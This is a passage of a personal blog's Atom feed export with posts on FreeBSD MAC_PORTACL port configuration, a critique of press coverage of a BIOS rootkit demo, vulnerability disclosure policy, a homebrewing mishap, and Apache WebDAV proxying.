/&gt;Password:&lt;br /&gt;security.mac.portacl.rules:  -&gt; uid:1001:tcp:80&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I ran netstat to see if anything else was bound to 80/TCP, but nothing showed up. And, now for the test!&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[2136] ~&gt; nc -l 80&lt;br /&gt;nc: Permission denied&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;:-(&lt;br /&gt;&lt;br /&gt;While I don't document it here, I tried also running sshd on port 80 with debugging. It spit out a permission denied, too.  For kicks, I tried to compile in the module.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[2136] ~&gt; grep -v '^#' /usr/src/sys/i386/conf/MAC&lt;br /&gt;&lt;br /&gt;include  GENERIC&lt;br /&gt;ident   MACWI&lt;br /&gt;&lt;br /&gt;options  MAC&lt;br /&gt;&lt;br /&gt;options  MAC_PORTACL  # Network port access control policy&lt;br /&gt;&lt;br /&gt;# compile &amp; install (same)&lt;br /&gt;&lt;br /&gt;# loader changes&lt;br /&gt;cat /boot/loader.conf&lt;br /&gt;kern.hz="100"&lt;br /&gt;&lt;br /&gt;# and reboot&lt;br /&gt;nextboot -k mac&lt;br /&gt;reboot&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Let's verify again:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[2136] ~&gt; uname -i&lt;br /&gt;MACWI&lt;br /&gt;[2136] ~&gt; kldstat&lt;br /&gt;Id Refs Address    Size     Name&lt;br /&gt; 1    3 0xc0400000 a12e94   kernel&lt;br /&gt; 2    1 0xc2825000 4000     nullfs.ko&lt;br /&gt; 3    1 0xc285a000 4000     fdescfs.ko&lt;br /&gt;[2136] ~&gt; sysctl -a security.mac&lt;br /&gt;security.mac.max_slots: 4&lt;br /&gt;security.mac.version: 3&lt;br /&gt;security.mac.mmap_revocation_via_cow: 0&lt;br /&gt;security.mac.mmap_revocation: 1&lt;br /&gt;security.mac.portacl.rules: &lt;br /&gt;security.mac.portacl.port_high: 1023&lt;br /&gt;security.mac.portacl.autoport_exempt: 1&lt;br /&gt;security.mac.portacl.suser_exempt: 1&lt;br /&gt;security.mac.portacl.enabled: 1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This looks promising. Let's create the rule:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[2136] ~&gt; id&lt;br /&gt;uid=1001(foo) gid=0(wheel) groups=0(wheel)&lt;br /&gt;[2136] ~&gt; sudo sysctl security.mac.portacl.rules=uid:1001:tcp:80&lt;br /&gt;Password:&lt;br /&gt;security.mac.portacl.rules:  -&gt; uid:1001:tcp:80&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And, now for the test...&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[2136] ~&gt; nc -l 80&lt;br /&gt;nc: Permission denied&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Same error again.  What gives?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;UPDATE:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://twitter.com/sourcehosting"&gt;@sourcehosting&lt;/a&gt; &lt;a href="http://twitter.com/sourcehosting/statuses/1949995459"&gt;suggested&lt;/a&gt; the following:&lt;br /&gt;truss -fa -o /tmp/nc.log /usr/bin/nc -l 80&lt;br /&gt;&lt;br /&gt;Which revealed this:&lt;br /&gt; 1564: socket(PF_INET,SOCK_STREAM,6)             = 4 (0x4)&lt;br /&gt; 1564: setsockopt(0x4,0xffff,0x200,0xbfbfc9f4,0x4,0x6c) = 0 (0x0)&lt;br /&gt; 1564: bind(4,{ AF_INET 0.0.0.0:80 },16)         ERR#13 'Permission denied'&lt;br /&gt; 1564: close(4)                                  = 0 (0x0)&lt;br /&gt; 1564: write(2,"nc: ",4)                         = 4 (0x4)&lt;br /&gt; 1564: write(2,"Permission denied\n",18)         = 18 (0x12)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, I dunno if the 0.0.0.0 address is a problem or not...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;UPDATE 2 (WITH FIX!):&lt;/span&gt;&lt;br /&gt;@sourcehosting &lt;a href="http://twitter.com/sourcehosting/statuses/1950221651"&gt;came in&lt;/a&gt; with the win!&lt;br /&gt;&lt;br /&gt;The man page and handbook both mentioned disabling the high and low reserved port ranges.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.freebsd.org/cgi/man.cgi?query=mac_portacl&amp;sektion=4"&gt;portacl(4):&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;  In order to enable the mac_portacl policy, MAC policy must be enforced on&lt;br /&gt;     sockets (see mac(4)), and the port(s) protected by mac_portacl must not&lt;br /&gt;     be included in the range specified by the&lt;br /&gt;     net.inet.ip.portrange.reservedlow and net.inet.ip.portrange.reservedhigh&lt;br /&gt;     sysctl(8) MIBs.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.freebsd.org/doc/en/books/handbook/mac-portacl.html"&gt;MAC portacl Handbook:&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;By default, on UNIX®-like systems, ports fewer than 1024 can only be used by/bound to privileged processes, i.e. those run as root. For mac_portacl(4) to allow non-privileged processes to bind to ports below 1024 this standard UNIX restriction has to be disabled. This can be accomplished by setting the sysctl(8) variables net.inet.ip.portrange.reservedlow and net.inet.ip.portrange.reservedhigh to zero.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Here's what I had:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[2136] ~&gt; sysctl -a net.inet.ip.portrange | grep resernet.inet.ip.portrange.reservedlow: 0&lt;br /&gt;net.inet.ip.portrange.reservedhigh: 1023&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And, here's the fix:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[2136] ~&gt; sudo sysctl net.inet.ip.portrange.reservedlow=0 net.inet.ip.portrange.reservedhigh=0&lt;br /&gt;Password:&lt;br /&gt;net.inet.ip.portrange.reservedlow: 0 -&gt; 0&lt;br /&gt;net.inet.ip.portrange.reservedhigh: 1023 -&gt; 0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And, test:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# other terminal connecting to IP on 80, typing 'hello'&lt;br /&gt;[2136] ~&gt; nc -l 80&lt;br /&gt;hello&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;WHOOP!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-6811273883295946299?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/6811273883295946299/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=6811273883295946299' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6811273883295946299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6811273883295946299'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/05/macportacl-and-no-love.html' title='MAC_PORTACL and no love'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-3513384016432466384</id><published>2009-03-25T12:14:00.006-06:00</published><updated>2009-03-25T12:59:40.491-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='BIOS injection'/><category scheme='http://www.blogger.com/atom/ns#' term='mhandelman'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='orly'/><category scheme='http://www.blogger.com/atom/ns#' term='core security'/><category scheme='http://www.blogger.com/atom/ns#' term='FUD'/><category scheme='http://www.blogger.com/atom/ns#' term='FID'/><title type='text'>BIOS Attacks and Quasi-FUD</title><content type='html'>Per &lt;a href="http://twitter.com/mhandelman"&gt;@mhandelman&lt;/a&gt;'s &lt;a href="http://twitter.com/mhandelman/status/1389166628"&gt;request&lt;/a&gt; I am responding to a recent &lt;a href="http://arstechnica.com/security/news/2009/03/researchers-demonstrate-bios-level-rootkit-attack.ars"&gt;write-up&lt;/a&gt; of Core Security's &lt;a href="http://www.coresecurity.com/content/Persistent-Bios-Infection"&gt;BIOS rootkit attack&lt;/a&gt; presented at CanSecWest.&lt;br /&gt;&lt;br /&gt;Some topical, albeit not significant issues I had with their write-up was the misspelling of CanSecWest as ConSecWest.  Minor issue, but it reminds me of the Obama / Osama screw-ups that say more than they mean to.  Also, Ars doesn't even link to the PDF at Core's site; that could have been just bad timing, but at least let Core see who is interested in the PDF...&lt;br /&gt;&lt;br /&gt;Anywho, on to substantive ranting...&lt;br /&gt;&lt;br /&gt;From the article, last paragraph:&lt;br /&gt;&lt;blockquote&gt;This is not the sort of &lt;a href="http://arstechnica.com/security/news/2009/03/storm-over-intel-cpu-security-could-be-tempest-in-a-teapot.ars"&gt;exploit&lt;/a&gt; that anyone bothers with on a grand scale. Not only is it highly impractical, it's also pointless—why go to so much trouble to infect a PC running at a Ma and Pa store if you can spend a hundredth of a cent and send them an infected e-mail they'll open and run?&lt;/blockquote&gt;&lt;br /&gt;"This is not the sort of exploit that anyone bothers with on a grand scale":&lt;br /&gt;Orly?  While I'm against FUDcasting, it's also disturbing to see a widely-read technical column wholeheartedly discount a new, and in my opinion, attractive attack vector.  Do they know that people are now not viewing this as a new attack vector?  Have they sent out surveys to malware authors asking them from 1 to 5, if they would consider this vector?  I don't know the answer, so I am not going to discount right out of the gate an attack vector.  Time will tell.  But my guess is that Ars did not do any homework to back up their claim.&lt;br /&gt;&lt;br /&gt;"Not only is it highly impractical [...]":&lt;br /&gt;&lt;br /&gt;Hmm, also from the article:&lt;br /&gt;&lt;br /&gt;"I haven't seen the full text of their presentation [...]".&lt;br /&gt;&lt;br /&gt;K., if you're going to say something is impractical but you haven't seen the presentation, then, really?  You're gonna say it's impractical?  I haven't read the notes either, nor was I at the presentation.  I did read this in the PDF from Core:&lt;br /&gt;&lt;blockquote&gt;Real hardware demo&lt;br /&gt;&lt;ul&gt;&lt;li&gt; We infected an Phoenix-Award BIOS &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt; Extensively used BIOS &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt; Using the VGA ROM signature as ready-signal. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt; No debug allowed here, all was done by Reverse-Engineering and &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;later, Int 10h (Not even printf!) &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt; Injector tool is a 100-line python script! &lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;So, they're able to inject into an extensively used BIOS with an 100-line python script.  And, that's impractical?  I would at least ask for clarification from Core before stating without any other reason something is impractical.  To me, just from the same source, I see that being very practical.  Getting root / Administrator on a machine is not impractical, especially if the target is a single-user computer where the user has granted him/herself Administrative rights.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"[...] it's also pointless—why go to so much trouble [...]":&lt;br /&gt;Orly?  If I was a malware writer, I would really like the idea that, regardless of someone reinstalling Windows on their PC, I would be able to reclaim control.  So, instead of the lather-rinse-repeat cycle of current vulnerabilities, exploits, and targets, I now have command and control of a device ad infinitum, or at least until the BIOS is re-flashed.&lt;br /&gt;&lt;br /&gt;While I generally, and subjectively, agree that complex attacks to me do not seem attractive, I also do not discount them.  Let the numbers speak.  Wander over to Dan Kaminsky's blog at Doxpara and read up on &lt;a href="http://www.doxpara.com/?p=1283"&gt;infrastructure attacks&lt;/a&gt;, &lt;a href="http://blogs.zdnet.com/security/?p=2972"&gt;discussed&lt;/a&gt; by ZDNet.  Whilst not getting bogged down on defining a complex attack, the &lt;a href="http://www.adam.com.au/bogaurd/"&gt;psyb0t&lt;/a&gt; worm seems pretty complex to me.  I am not siding one way or another that injecting nastiness at the BIOS level is going to happen or not.  And, in that breadth, again, I am not discounting it.&lt;br /&gt;&lt;br /&gt;The author seems to discount, without objective reasons, an attack vector that has the potential to be nasty in the future. I just don't know why.  It's not FUD.  Hmm, I'll call if FID: forget, ignore, discount.  So, to me, Ars is promoting FID.  That's my beef.&lt;br /&gt;&lt;br /&gt;Jon&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-3513384016432466384?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/3513384016432466384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=3513384016432466384' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3513384016432466384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3513384016432466384'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/03/bios-attacks-and-quasi-fud.html' title='BIOS Attacks and Quasi-FUD'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-1375147351603197445</id><published>2009-03-02T08:54:00.006-06:00</published><updated>2009-03-02T12:37:21.941-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='risk'/><category scheme='http://www.blogger.com/atom/ns#' term='spire security'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='pete lindstrom'/><title type='text'>Too Much Information</title><content type='html'>&lt;ad_hominem&gt;&lt;br /&gt;I have Pete Lindstrom's blog, &lt;a href="http://spiresecurity.typepad.com/"&gt;Spire Security&lt;/a&gt;, in my RSS feed.  I first met Pete at Metricon 2.0, with Gunnar Petereson's introduction.  My first impressions were he liked to talk and he wouldn't let other people get a word in edgewise (unless you were rude by Midwestern standards).  But, reading Pete's blog and writings have been rewarding because Pete has good, logical points.&lt;/ad_hominem&gt;&lt;br /&gt;&lt;br /&gt;I recently commented on &lt;a href="http://spiresecurity.typepad.com/spire_security_viewpoint/2009/02/the-disclosure-race-condition.html"&gt;The Disclosure Race Condition&lt;/a&gt; posting Pete wrote.  I was unclear on some of his argument points and assumed he was taking a stance he wasn't:&lt;br /&gt;&lt;blockquote&gt;It is clear from this case that many large security companies already had the information (they already had samples), so the added benefit to the "good guy" community must be adjusted with that information in mind.&lt;br /&gt;&lt;/blockquote&gt;I assumed that Pete was stating the vendor provided samples to the many large security companies.  This was a red herring that I continued into my second comment.  If I can finally paraphrase Pete's argument, it's that the detailed information released by Sourcefire et al. mostly aids evil doers and does little to aid the good guys.&lt;br /&gt;&lt;br /&gt;After reading the post a couple more times (yeah, I'm that daft sometimes), I tend to agree with him.  The information released is very technical in nature and in my opinion can only help the good guy community if it highlights hitherto unknown bad programming design patterns.  Those that need to know, i.e., IDS vendors or the vendor in question, can get the information they need through their own efforts.  I also do not think it puts the vendor under more leverage to release the patch sooner, either, because of a lack of empirical data and also intuition (this was not brought up by Pete).  I can definitely see information sharing that &lt;a href="http://www.shadowserver.org/"&gt;Shadowserver.org&lt;/a&gt; provides a benefit, though.  They acted as an information broken which allowed Sourcefire to protect their customers in a timely manner.  So, to abuse Kevin Soo Hoo's Stanford masterpiece, how much is enough (or too much?)&lt;br /&gt;&lt;br /&gt;To go into more detail, I accept the idea that the existence of N sources of some vulnerability information increases the possibility of M sources, where M &lt; N.  This would, in Pete's argument, affect the cost-benefit analysis of the attacker to obtain information on how to exploit some vulnerability.  Lowering the attacker's cost compared against whatever return or penalties would only aid in enticing the attacker to perform the attacker.  I get that.  And Pete did qualify the magnitude of the effect of reducing N sources as possibly being slight in his comments.  But, this would be scoped for only the vulnerability/ies in question.  That is, it would only reduce the risk to whatever assets for those specific vulnerabilities whose detailed information was not released.&lt;br /&gt;&lt;br /&gt;Of course, if this was done broadly, then in general vulnerability information would be more constricted and probably raise the cost-benefit equation of the adversary.  I dunno though if this overall would actually reduce the risk.  It's hard to say.  We're smarter than we were in the early 90's, but that doesn't mean we're better.  Would we have 16 year olds writing worms that impact Fortune 500 networks?  Probably not.  But, again, that's not the only threat we face or risks that are present.  It also still emotionally feels dirty that the censoring of information somehow reduces risk...  Dunno why, but it does.&lt;br /&gt;&lt;br /&gt;Talk amongst yourselves...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-1375147351603197445?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/1375147351603197445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=1375147351603197445' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1375147351603197445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1375147351603197445'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/03/i-have-pete-lindstroms-blog-spire.html' title='Too Much Information'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-8732988545360678929</id><published>2009-01-12T11:18:00.003-06:00</published><updated>2009-01-12T12:11:41.060-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kettle'/><category scheme='http://www.blogger.com/atom/ns#' term='homebrew'/><category scheme='http://www.blogger.com/atom/ns#' term='beer'/><category scheme='http://www.blogger.com/atom/ns#' term='mash'/><category scheme='http://www.blogger.com/atom/ns#' term='mash-lauter tun'/><title type='text'>The Joys of Homebrewing: How I Hated My Last Batch</title><content type='html'>Wow, what a brew...&lt;br /&gt;&lt;br /&gt;I count the number of "lessons learned" as a positive indicator of how... frustrating, confusing, disliking, and most importantly, fulfilling, a brew day went.   My recipe was basic:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;12 lbs of Belgian pale malts&lt;/li&gt;&lt;li&gt;3 oz of Vanguard hops&lt;/li&gt;&lt;li&gt;1 vial of Whitelab 550 Belgian yeast, to be started to compensate&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;I was going to take the first runnings (1/3) and do a strong beer with that.  Then, I was going to take the latter runnings and do a near beer with that.&lt;br /&gt;&lt;br /&gt;Now, onwards to the comedy of errors.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Brew Day +1&lt;/h2&gt;Brew day was s'pose to be this prior Saturday (Jan. 10).  But, I forgot to start my yeast.  I had Whitelabs yeast, but I wanted to make sure I could deal with the expected higher alcohol I was aiming for, so I wanted it started.  So, I made some DME mixture and started the yeast on Saturday.&lt;br /&gt;&lt;br /&gt;By taking up the kitchen on Sunday, my hubby couldn't get groceries and cook.  We basically never have groceries in the house on Sunday.  The only food I had that day was a burger while going to the homebrew store and lots of bread.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Lesson #1: Brew on Saturday (or your brew day), regardless of your damn yeast situation&lt;/span&gt;.&lt;span style="font-style: italic;"&gt; Read more for more.&lt;/span&gt;&lt;br /&gt;&lt;h2&gt;Turkey is for a Turkey Kettle&lt;br /&gt;&lt;/h2&gt;This Thanksgiving, we used the brew kettle for our deep-fried turkey.  The turkey was awesome!  The oil though decided not to leave the party.  I boiled up some water and was going to pre-heat my mash-tun.  I damn well could have combed my hair in the reflection from the oil in the water.  I previously scrubbed the shit of out that kettle.  Well, I now had a turkey kettle...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Lession #2: Turkeys are for turkey kettles; wort is for a wort kettle. Don't mix that up. Especially in a nice stainless steal kettle.&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;h2&gt;Spend Money You Don't Have&lt;br /&gt;&lt;/h2&gt; So, it's Sunday and I have my yeast loving life but down a kettle.  I hop over to &lt;a href="http://www.midwestsupplies.com"&gt;Midwest Supplies&lt;/a&gt; website to review their kettle selection and then to &lt;a href="http://www.northernbrewer.com"&gt;Northern Brewer&lt;/a&gt;.  Northern Brewer had some sweet kettles with spigots and therometers.  My current mash-tun is a Coleman cooler, but I've eyed getting a direct heat mash-tun for some time.  Now, I could just get a pump, rig up hosing between the mash-tun and a kettle, and be done with it.  But, c'mon, a direct heat mash-tun!&lt;br /&gt;&lt;br /&gt;So, I pick up two kettles, a 10-gallon w/ a spigot, thermo, and false bottom and an 8-gallon w/ just a spigot from Northern.  My grain bill was 12 lbs in all.  I was super excited (except for the cost, which went on the credit card with the huge balance).  The drive was 20 miles round trip, no biggie.  I got home and realized something very quickly: a 10-gallon kettle with a very wide base and a high (~ 2 inch) false bottom, needs a lot of water to wet the grain.   I used a 1 quart of water to 1 pound of grain ratio.  With this ratio, the water would have nicely touched the grain with about 3/4 not even phased.  I would have had to do a 2 quart to pound ratio to get it wet and a bit more to get it outside of the consistency of dough.&lt;br /&gt;&lt;br /&gt;Hmm...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Lesson #3: Before you buy a new piece of equipment, ask people who have used it on its caveats&lt;/span&gt;&lt;br /&gt;&lt;h2&gt;Spend More Money You Don't Have&lt;/h2&gt; So, I could return the 10 g. kettle for an 8 g.  But, even with this, I would have to up my grain bill.  Either way, back to Northern.  I go back and have a conversation with three of the (very knowledgable) guys there.  Here's what I learned:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;I would have to probably do a 1.5 quart to pound ratio for my mash&lt;/li&gt;&lt;li&gt;I would do better with an 8 gallon kettle&lt;/li&gt;&lt;li&gt;I could use the false bottom or a more tube-like filter. He recommended the false bottom&lt;/li&gt;&lt;li&gt;I should do about 18 lbs of grain (6 lbs more than what I had)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;So, I exchanged the 10 gallon kettle for an 8 gallon, increased my recipe by 50%, and picked up a carboy + accessories for the extra beer (ha! err, nevermind ;-)  Confident, I went back to the battle.  (Although, I was shaking my head at how much money I spent in a couple hours...)&lt;br /&gt;&lt;br /&gt; &lt;span style="font-style: italic;"&gt;Repeat Lesson #3&lt;br /&gt;&lt;/span&gt;&lt;h2&gt;Don't Start Brewing in the Evening&lt;br /&gt;&lt;/h2&gt; By all of the running around, it was almost 5 PM when I started.  It gets dark here around 5 right now.   Oh, and it's f-n cold outside right now in Minnesota.   And icy.  And I'm using a propane grill, so yeah.  Here's a preview: I finished cleaning up at 12:30 AM.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Lesson #4 Seriously, wait until the next brew &lt;span style="font-weight: bold;"&gt;day&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;h2&gt;18 lbs of Grains, Srlsy?&lt;br /&gt;&lt;/h2&gt; I got the mash going and had the liquor tun warming up outside.  Mash is a joke of a word.  With the 1.5 q to pound ratio, I needed 6.75 quarts to the 18 pounds of grain.  6.75 gallons of water nearly filled the 8 gallon kettle.  I guess 8 gallons meant to the lip-of-the-kettle-that-you-can't-move-else-scolding-off-a-finger.  Oh, and putting then 18 pounds of grain into the kettle would have overfilled everything.  I got the 18 lbs in by removing 1 gallon of water.  My ration was now just about 1.25 quarts to pound.&lt;br /&gt;&lt;br /&gt;This was stupid.  I should have used less grain.&lt;br /&gt;&lt;br /&gt;That water ratio isn't too bad, except that probably about a gallon of water was under the false bottom.  So, the grain had a very, very doughy texture.  It was so think that I had a 20 degree difference at the same level but on different sides.  The thermo was ready less than 150.  But, then I took a reading of 170.  170!!  I cried, knowing I just destroyed a lot of the enzymes in that area.  I had the heat relatively low at first, but turned it up when the thermo was falling.&lt;br /&gt;&lt;br /&gt;I really wanted to act like a child and throw mash on the walls.  Seriously, I did.&lt;br /&gt;&lt;br /&gt;Lesson #Lost Count: DON'T USE 18 LBS IN A 8 GALLON KETTLE&lt;br /&gt;&lt;h2&gt;Hurricane Burner Kicks Your Mom's Ass, With One Flame&lt;br /&gt;&lt;/h2&gt; This was also the first time I used my hurricane burner I got for turkey day (see how that works? ;-)&lt;br /&gt;&lt;br /&gt;Well, I got a cool magic trick: make 4.5 gallons go down to 2.  Oh, make 4.5 of the first runnings go down to 2.&lt;br /&gt;&lt;br /&gt;Since it's outside and the windows now had a good amount of ice on them, I couldn't see the kettle overflowing.  I reduced the heat, cursing.  I then ended up losing more from the boil, because I kept my chiller in there (being sanitized) versus waiting until the last couple minutes.  Another gallon disappeared...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Lesson #I hate lessons: Simmer down now&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;h2&gt;Miscellaneous&lt;/h2&gt; &lt;ul&gt;&lt;li&gt;I didn't have enough hop bags for the two batches, so I had to reuse the old ones&lt;/li&gt;&lt;li&gt;I broke my hydrometer, and not even out of anger. A water lock cover got stuck in the tube with it and the hydrometer broke when I unsuccessfully tried to remove it&lt;/li&gt;&lt;li&gt;Having two batches to brew is greater than just adding 1 hour to your time&lt;/li&gt;&lt;li&gt;Do the dishes before brewing. Counter space and a lack of clutter really reduce stress&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;I finished cleaning at 12:30 AM or so.  I did the dishes, mopped, put away almost everything, and then cleaned up. It was 1:30 by the time I got to bed, to only wake up at 6.&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;Final Lesson: I WILL SO ENJOY THIS BEER, REGARDLESS HOW CRAPPY IT TASTES! RELAX, AND HAVE A HOMEBREW&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-8732988545360678929?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/8732988545360678929/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=8732988545360678929' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8732988545360678929'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8732988545360678929'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/01/joys-of-homebrewing-how-i-hated-my-last.html' title='The Joys of Homebrewing: How I Hated My Last Batch'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-8445836000454704971</id><published>2008-11-10T08:10:00.008-06:00</published><updated>2008-11-10T10:11:07.981-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mod_headers'/><category scheme='http://www.blogger.com/atom/ns#' term='mod_proxy'/><category scheme='http://www.blogger.com/atom/ns#' term='mod_rewrite'/><category scheme='http://www.blogger.com/atom/ns#' term='Destination'/><category scheme='http://www.blogger.com/atom/ns#' term='mod_proxy_html'/><category scheme='http://www.blogger.com/atom/ns#' term='mod_dav'/><category scheme='http://www.blogger.com/atom/ns#' term='header'/><category scheme='http://www.blogger.com/atom/ns#' term='webdav'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><category scheme='http://www.blogger.com/atom/ns#' term='2.2'/><title type='text'>mod_proxy, mod_dav, Destination Header, and no fun</title><content type='html'>So, I am transferring everything through a reverse proxy for the work's FreeBSD systems.  Outside of an &lt;a href="http://bahumbug.wordpress.com/2008/10/13/freebsd-port-of-mod_proxy_html-is-broken/"&gt;initial&lt;/a&gt; problem getting &lt;a href="http://apache.webthing.com/mod_proxy_html/"&gt;mod_proxy_html&lt;/a&gt; to work, everything was working great.  That is, until WebDAV came into the picture.&lt;br /&gt;&lt;br /&gt;We have two applications currently that use WebDAV: OmniFocus for syncing and Subversion.  The prior OmniFocus WebDAV server was at our prior website service provider.  That was the first one I started to move over.&lt;br /&gt;&lt;br /&gt;I came across two problems with WebDAV.  The first was with Digest authentication and the second was with the Destination header.  I skipped around the Digest authentication issue by using standard Basic Auth.  This isn't an issue, since everything is over TLS anyway.  The problem I was having, though, was looking into the Authorization header and having to do an edit on the "uri" parameter.  I'm very much a noob on mod_rewrite and wasn't getting anything working for me.  Also, this was before I noticed the elegance of &lt;a href="http://httpd.apache.org/docs/2.2/mod/mod_headers.html#requestheader"&gt;RequestHeader&lt;/a&gt; "edit" option.&lt;br /&gt;&lt;br /&gt;The second issue also required a journey through mod_rewrite.  I came across another poor soul's &lt;a href="http://silmor.de/49"&gt;journey&lt;/a&gt; with the Destination header.  I tried implementing the comment at the end, but with no success.  That's when I noticed RequestHeader 